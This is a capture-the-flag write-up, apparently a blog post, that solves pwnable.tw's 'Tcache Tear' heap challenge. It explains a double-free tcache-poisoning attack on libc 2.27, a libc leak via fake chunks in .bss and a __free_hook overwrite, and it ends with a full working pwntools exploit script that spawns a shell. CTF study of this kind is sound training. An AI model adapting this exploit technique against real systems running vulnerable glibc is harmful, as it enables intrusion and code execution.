Pwnable.tw - Tcache Tear [Pwn]

Introduction

“Tcache Tear” is a pwn challenge hosted by pwnable.tw. In particular, it is a heap challenge.

First Considerations

The challenge provided both the binary of the program to exploit and the library used remotely. First I patched the binary (using pwninit) to force the executable to also load the correct library locally.

Pwninit execution

Notice that the library used is libc 2.27 which means t-cache and double free (more on this later).

After that I checked for the security measures used at compile-time:

Checksec execution

Notice that the binary is a 64bit executable with all the security measures enabled. Conveniently, however, the binary is not PIE, which means that we don’t have to leak addresses belonging to the following memory segments: .text, .data and .bss.

Reverse Engineering

In order to perform some reverse engineering on the binary I used IDA-Free.

Alarm Patch

The first thing the program does is set an alarm:

Set_alarm function

which I immediately patched using a simple hex editor. By doing this I was able to debug the program using gdb without time constraints.

Main Function

The main function of the program is pretty simple:

void main(int argc, char ** argv, char ** envp) {
int choice;
unsigned int n_free;
set_alarm();
printf("Name:");
safe_read(&unk_602060, 0x20);
n_free = 0;
while (1) {
while (1) {
print_menu();
choice = get_longlong();
if (choice != 2)
break;
if (n_free <= 7) {
free(bss_ptr);
++n_free;
}
}
if (choice > 2) {
if (choice == 3) {
info();
} else {
if (choice == 4)
exit(0);
LABEL_14:
puts("Invalid choice");
}
} else {
if (choice != 1)
goto LABEL_14;
allocate();
}
}
}

Initially, the program asks for a name (0x20 characters max) and saves it in the .bss (address 0x602060). Then it presents a simple menu which allows the user to allocate a chunk, free a chunk, and print some info. Let’s dive into these functions.

Allocate Function

The following is the function which allocates a chunk:

Allocate function

This function simply allocates a chunk of the specified size and writes up to size-0x10 bytes, therefore no overflow.

One interesting thing is that the pointer to the chunk is stored in the .bss (address 0x0602088).

Free Function

The part of main that allows us to free chunks is the following one:

Free function

It is possible to see that the program allows us to free only the chunk pointed by the pointer saved in the .bss.

Another thing to highlight is that it is possible to free only 8 chunks per run (due to the check on the variable I called n_free).

Info Function

The info function only prints the name saved at the very beginning of the execution:

Info function

Initially it seems like a useless function, however you can notice that it’s the only function which prints something that is not a predefined string. This means that if we have to leak something we can only use this function.

Exploitation: General Idea

As mentioned, libc 2.27 is well-known for having the t-cache implemented without any control on double frees. By performing a double free we will be able to poison the t-cache. Now I will explain carefully how t-cache poisoning through double free works.

T-Cache Poisoning and Double Free

First things first, what is the t-cache? The t-cache is a structure in the heap containing (among other things) pointers to freed chunks. In particular, the t-cache is made of 64 LIFO single-linked lists (ordered by chunk size, from 0x20bytes to 0x410bytes) and each list contains at most 7 freed chunks. Each chunk inside a t-cache list has the following format:

T-cache chunk format

By doing a double free it is possible to corrupt a linked list as shown in the following picture:

T-Cache double free

By doing two allocations, we are free to write in the t-cache head. Consequently, the t-cache will return a pointer to an address we specify (a fake chunk). Effectively, we are able to write whatever we want in memory.

Leak an Address

Nice. Now we can write everywhere in memory. To write something useful (like a one gadget), however, we have to leak an address of libc. Two quick considerations:

  1. We can only print the area of memory in which we saved the name when the program started
  2. In order to make the heap structures leak a libc chunk, we have to allocate and free an unsorted chunk, a small chunk, or a large chunk (they are all chunks which are kept in a double linked list when freed)

These two considerations made me think that the only way to leak something is to create a fake chunk directly over the .bss, exactly where the name is saved. In particular, we have to create a chunk large enough to be stored in the unsorted bin when freed (larger than 0x410bytes). Once freed, the chunk will contain the address of the unsorted bin head (which is in the libc) as forward and backward pointers.

Security Check to Pass

In order to free the fake chunk we have to pass a few checks implemented inside the libc. Therefore:

  1. We have to create another chunk right below the first fake chunk because the libc will try to change the bit “previous in use” from one to zero.
  2. We have to create a third chunk right below the second one because the library will try to consolidate the first fake chunk with the second one, and in order to do this it will check the “previous in use” bit of the third one.
Fake chunks in the .bss

Get a Shell

In order to get a shell I simply tried to overwrite the free hook with one gadgets.

Exploitation: Implementation

The following script implements all the ideas explained above:

from pwn import *HOST = 'chall.pwnable.tw'
PORT = 10207
EXE = './tcache_tear_patched'
LIBC = './libc.so.6'
#-------------------------------------------------------------------def alloc(size, payload):
r.recvuntil(b'Your choice :')
r.sendline(b'1')
r.recvuntil(b'Size:')
r.send(f'{size}'.encode())
r.recvuntil(b'Data:')
r.send(payload)
def free():
r.recvuntil(b'Your choice :')
r.sendline(b'2')
def info():
r.recvuntil(b'Your choice :')
r.sendline(b'3')
#-------------------------------------------------------------------if args.R:
r = remote(HOST, PORT)
elif (args.D or args.L):
r = process(EXE)
if args.D:
gdb.attach(r, ''' ''')
input('gdb...')
else:
print('Usage: ./<filename>.py <D | L | R>')
exit()
#-------------------------------------------------------------------libc = ELF(LIBC)
elf = ELF(EXE)
name_ptr = 0x0602060r.recvuntil(b'Name:')
r.sendline()
alloc(0x50, p64(name_ptr + 0x4f0))
free()
free()
alloc(0x50, p64(name_ptr + 0x4f0))
alloc(0x50, p64(name_ptr + 0x4f0))
payload = p64(0x0)+p64(0x21)
payload += b'B'*0x10
payload += p64(0x0)+p64(0x21)
alloc(0x50, payload)
alloc(0x60, p64(name_ptr - 0x10))
free()
free()
alloc(0x60, p64(name_ptr - 0x10))
alloc(0x60, p64(name_ptr - 0x10))
payload = p64(0x0)
payload += p64(0x501)
payload += b'A'*0x28
payload += p64(name_ptr)
alloc(0x60, payload)
free()
info()
r.recvuntil(b'Name :')
leak = u64(r.recv(8))
libc.address = leak - 0x3ebca0
log.info('Base @ %#x', libc.address)
system = libc.symbols['system']
hook = libc.symbols['__free_hook']
log.info('Hook @ %#x', hook)
onegadget_1 = 0x4f2c5
onegadget_2 = 0x4f322
onegadget_3 = 0x10a38c
log.info('Gadget 1 @ %#x', libc.address + onegadget_1)
log.info('Gadget 2 @ %#x', libc.address + onegadget_2)
log.info('Gadget 3 @ %#x', libc.address + onegadget_3)
alloc(0x70, p64(hook))
free()
free()
alloc(0x70, p64(hook))
alloc(0x70, p64(hook))
payload = p64(libc.address + onegadget_2)
alloc(0x70, payload)
free()r.interactive()

This script gave me a nice shell and the flag, of course. Pwned!

PS: In this write up I tried to explain all the aspects that I considered interesting and I skipped those which I considered trivial. If you want to dig more into my exploit drop me a line, I will more than happy to help you out!

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
WhiteSnake

WhiteSnake

MSc in CyberSecurity at Politecnico di Milano and eJPT Junior Penetration Tester